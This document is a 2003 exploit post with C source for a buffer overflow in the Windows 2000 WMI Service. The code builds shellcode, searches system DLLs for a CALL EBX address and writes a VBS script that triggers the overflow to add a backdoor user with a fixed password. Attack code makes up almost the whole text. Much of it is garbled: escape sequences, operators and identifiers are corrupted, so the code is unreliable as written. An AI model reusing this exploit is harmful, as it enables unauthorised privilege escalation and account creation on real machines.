Windows 2000 WMI Service Buffer overflow Expolit
Create time: 2003-05-28
Article attribute: original
Article submission:
Eyas (EY4S_AT_21CN.COM)
Windows 2000 WMI Service Buffer overflow Expolit
EY4S
2003-04-27
WMISERVICE -> CREATEDIRECTORYEXW -> RTLDOSPATHNAMETONTPATHNAME_U
WMI defaults only ADMINISTRATORS can be remotely connected, so only users who can run programs on the target system can be utilized.
Local users can use to improve permissions.
This procedure can be used in Simplified Chinese, Traditional Chinese, Japanese, Korean System SP0-3.
You don't need to specify any parameters, and the program automatically searches for available Call EBX addresses.
With C code to communicate with the WMI Service is too complicated, the program is generated two files, one is to store the Exploit Buffer
Buff.txt, one is XWMI.vbs.
/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------- * /
#include
#include
#define nopcode 0x4f // 0x4f // 'o'
#define bufflen (65536 8) / 2
#define overpoint 0x260 // Overflow point -0x14 SEH-0X4
Int g_icodepage;
Char g_szdlllist [5] [16] = {"kernel32.dll",
"advapi32.dll",
"User32.dll",
"gdi32.dll",
"ole32.dll"};
Char * g_szwidecharshort;
Unsigned char jmpover [] = "/ x41 / x90 / x41 / x68"; // 0x41 inc ECX, 0x68 Push Num32
Unsigned char decoder [] =
"/ X4F / X75 / X05 / X74 / X03 / X4E / XC3 / X4F / X53 / X90 / X5E / X66 / XAD / X4E / X46 / X4F"
"/ x43 / x66 / x90 / x51 / x90 / x59 / x75 / xf0 / x53 / x56 / x5f / x4a / x57"
"/ x43 / x66 / x66 / x3d / x4f / x00 / x90 / x59 / x74 / xd9 / x4e / x2c / x64"
"/ x50 / x59 / x46 / x4f / x47 / x90 / x43 / x66 / xad / x50 / x4b / x58 / x2c / x64 / x4a / x57"
"/ X51 / X90 / X90 / X5F / X03 / XFF / X03 / XFF / X03 / XFF / X03 / XFF / X91 / X03 / XCF / X91"
"/ x90 / x5f / xaa / x90 / x41 / x74 / xca / x90 / x51 / x90 / x59 / x75 / xc4 / x4e / x97 / x6f"
Unsigned char xshellcode [] =
"iilorprojhinoldhddekkleglhqinmdddkhdghlrosiloqlokggpdglokjkldglokrfddgsolo"
"Hrehggrqijikielogsdgsolosfggpmlgpedrsgnjkhdlimislgpkdhhirfrkimisirlopqlohjfhdgpg" "qeredgpeggpmjjlodllohjepdgpgperedfdgpelodddgpgrodfrogklosnlosflmdjlgpkdsikigssqd"
"LGPJDHLMDJLGPKDLIKIGLOHJSPSSQDLGPJDHLMDJGPDIDLGPKDJIKLOHJSPSSQDOLSSSSSSSSSSSSSSSSSSSSSSSSIDLODJ"
"ssqdrlirssssshkjikhidkfjsjghejhjhkfjikgkgdikjmjrhikljijgddigjpjijikdddjgjqjhfd"
"fsjggdjrjikhfrjikljifdkikgjikffdklklfdgejefefrgmjrhlfdfsjejhjhfdfjfjfdjrjikhfdjp"
"jsjgjejpjkkfjskikdfdjejhjqjmjrjmkgkhkfjekhjskfkgfdklklfdfsjejhjhdd";
Int searchret ();
Bool MakewideCharlist ();
DWORD WINAPI FUNC (LPVOID LP);
void main ()
{
Int retradr, i, j, ipathlen, iwlen
Unsigned char * pstr, widecharbuff [0x500], multibytebuff [0x500];
Unsigned char szvbs [0x1000], szpath [256], szpath2 [256];
File * f;
Printf ("XWMI -> Win2k WMI Service Buffer overflow Exploit / N"
"WMISERVICE -> CREATEDIRECTORYEXW -> RTLDOSPATHNAMETONTPATHNAME_U / N"
"for Win2k Which Default CodePage IS GB, BIG5, KOREAN, JP SP0-3 / N"
"Written by EY4S
"2003-04-27 / N"
"Thanks to Yuange / N / N");
MakewideCharlist ();
Retdr = searchret ();
IF (! Retaddr) Return;
PSTR = (unsigned char *) Malloc (40000);
MEMSET (PSTR, 0, 40000);
// Get Current Path
Ipathlen = GetCurrentDirectorya (SizeOf (Szpath) -1, Szpath);
IF (! ipathlen)
{
Printf ("GetCurrentDirectorya Failed:% D / N", getLastError ());
Return;
}
/ * Conversion character * /
MEMSET (WideCharbuff, 0, Sizeof (WideCharbuff));
// jmp over
Memcpy (WideCharbuff, Jmpover, 4);
// jmp addr
Memcpy (WideCharbuff 4, & Retaddr, 4);
// Decoder
Memcpy (WideCharbuff 8, Decoder, Sizeof (Decoder);
iwlen = wcslen ((unsigned short *) widecharbuff); i = widechartomultibyte (g_icodepage, 0, (unsigned short *) WidecharBuff,
iwlen * 2, Multibytebuff, 0x1000, 0, 0);
I = strlen (multibytebuff);
// Combination buffer
MEMSET (PSTR, NOPCODE, BUFFLEN IWLEN);
Memcpy (PSTR, SZPATH, IPathlen);
PSTR [ipathlen] = (byte) '//';
// jmpover & jmpaddr
Memcpy (PSTR Overpoint / 2, Multibytebuff, i);
// Real shellcode
Memcpy (PSTR Overpoint / 2 i, Xshellcode, Strlen (xshellcode);
f = fopen ("buff.txt", "w");
FPRINTF (f, "% s", pstr);
Fclose (f);
Free (PSTR);
Printf ("Write Exploit Buffer To File% S // Buff.txt / N", SZPATH);
// Replace '/' to '//'
MEMSET (Szpath2, 0, SIZEOF (SZPATH2));
For (i = 0, j = 0; i { IF (szpath [i] == (byte) '//') Szpath2 [J ] = SZPATH [I]; Szpath2 [J] = SZPATH [I]; } Sprintf (SZVBS, "SET FSO = CREATEOBJECT (/" scripting.filesystemobject / ") / n" "SET F2 = fso.opentextfile (/" buff.txt / ", 1, false, tristatetrue) / n" "szbuffer = f2.readall / n" "f2.close / n" "SET FSO = Nothing / N" "Set Serviceset = getObject (/" WinMgmts: {ImpersonationLevel = Impersonate} / ") ._ / n" "EXECQUERY (/" Select * from win32_directory where name = '% s' / ") / n" "for Each Service In Serviceset / N" "Wscript.echo /" if you can see "orthom" 台bess! / "/ N" "Service.copy / n" "next / n" Szpath2); f = fopen ("xwmi.vbs", "w"); FPRINTF (f, "% s", szvbs); Fclose (f); Printf ("Create Exploit Execute File% S // XWMI.VBS / N", SZPATH); Printf ("Execute Exploit File% S // Xwmi.vbs / N" "IF Success, Exploit Will Add A User XX Password IS 1A! .9nH / N", SZPATH); CreateThread (0, 0, FUNC, NULL, 0, NULL); Sleep (20000); Deletefile ("buff.txt"); Deletefile ("xwmi.vbs"); Printf ("DONE./N"); Return; } DWORD WINAPI FUNC (LPVOID LP) { System ("cscript.exe xwmi.vbs); Return 0; } Bool MakewideCharlist () { Int i, J, Ret; Char szcodepage [128]; UNSIGNED Char WBuff [4]; UNSIGNED Char WBuff2 [4]; UNSIGNED Char Buff [4]; IF (! getLocaleInfo (locale_system_default, locale_idefaultcodepage, SzcodePage, SizeOf (SzcodePage) -1))) { Printf ("GetLocaleInfo Failed:% D / N", getLastError ()); Return False; } ICODEPAGE = ATOI (SZCODEPAGE); Printf ("System Default CodePage IS% D / N", ICODEPAGE; g_icodepage = iCODEPAGE; g_szwidecharshort = (char *) Malloc (65536); MEMSET (G_SzWidecharshort, 1, 65536); For (i = 0; i <256; i ) { For (j = 0; j <256; j ) // for 3 { IF ((i == 0) && (j == 0)) j = 1; MEMSET (BUFF, 0, 4); MEMSET (WBUF1, 0, 4); WBUFF [0] = (byte) i; WBUFF [1] = (byte) j; WBUFF [2] = (byte) '/ 0'; WBUFF [3] = (byte) '/ 0'; IF (! (Ret = Widechartomultibyte (icodepage, 0, (unsigned short *) WBUFF, 1, BUFF, 2, 0, 0))))) { Printf ("WideChartomultibyte Error:% D / N", getLastError ()); Return False; } IF (! (RET = MultibytetowideChar (iCODEPAGE, 0, BUFF, Strlen (BUFF), (Unsigned Short *) WBuff2, 1)))) { Printf ("MultibyTowideChar Error:% D% D / N", GetLastError (), RET); Return False; } / / Decision whether or not it is changed after twice // As long as any Code Page change is considered illegal Wide Char range IF (* (DWORD *) WBUFF! = * (DWORD *) WBUFF2) g_szwidecharshort [(byte) WBUFF [0] * 0x100 (byte) WBUFF [1]] = (Byte) '/ 0'; } } Return True; } Int searchret () { HModule H; Bool bdone; BYTE * PTR; INT I, J, POS, INDEX1, INDEX2, K1, K2, K3, K4; For (i = 0; i <5; i ) { BDONE = false; POS = 0; H = loadingLibrary (g_szdlllist [i]); IF (h == NULL) { Printf ("LoadLibrary% S Error:% D / N", g_szdlllist [i], getLastError ()); CONTINUE; } PTR = (byte *) h; Printf ("Start Search FFD3 IN% S / N", g_szdllist [i]); For (j = 0; bdone; j ) { __TRY { // ff D3 -> Call EBX // Do not contain the address of 00 IF (PTR [J] == (Byte) '/ XFF' && PTR [J 1] == (Byte) '/ xd3') { POS = (int) PTR J; K1 = ((POS & 0x00FF0000) >> 8); K2 = ((POS & 0xFF000000) >> 24); K3 = ((POS & 0xFF) << 8); K4 = ((POS >> 8) & 0xFF); Index1 = k1 k2; Index2 = k3 k4; IF ((g_szwidecharshort [index1] == (byte) '/ x00') || (g_szwidecharshort [index2] == (byte) '/ x00') || (k1 == 0) || (k2 == 0) || (k3 == 0) || (k4 == 0)))) POS = 0; } } // end of try __EXCEPT (Exception_execute_Handler) { BDONE = TRUE; } IF (POS) BREAK; } IF (h) { Freelibrary (h); h = null; } IF (POS) { Printf ("Found Opcode AT 0x% .8x In% S / N", POS, G_SZDLLST [I]); Break; } } Return POS; }